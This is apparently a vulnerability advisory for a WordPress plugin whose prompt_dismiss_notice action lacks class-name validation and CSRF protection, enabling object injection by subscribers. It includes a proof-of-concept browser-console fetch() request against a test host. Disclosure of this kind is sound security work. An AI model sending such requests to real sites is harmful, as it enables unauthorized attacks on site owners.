The plugin does not validate the class name submitted by the request when instantiating an object in the prompt_dismiss_notice action and also lacks CSRF check in the related action. This could allow any authenticated users, such as subscriber to perform Object Injection attacks. The attack could also be done via a CSRF vector against any authenticated user
Run the below command in the developer console of the web browser while being on the blog as a subscriber user fetch('http://wpscan.local/wp-admin/admin-ajax.php', { method: 'POST', headers: new Headers({ 'Content-Type': 'application/x-www-form-urlencoded', }), body: 'action=prompt_dismiss_notice&class=Malicious' }).then(response => response.text()).then(result => console.log(result)).catch(error => console.log('error', error));
Lana Codes
Lana Codes
Yes
2023-02-08 (about 3 months ago)
2023-02-08 (about 3 months ago)
2023-02-08 (about 3 months ago)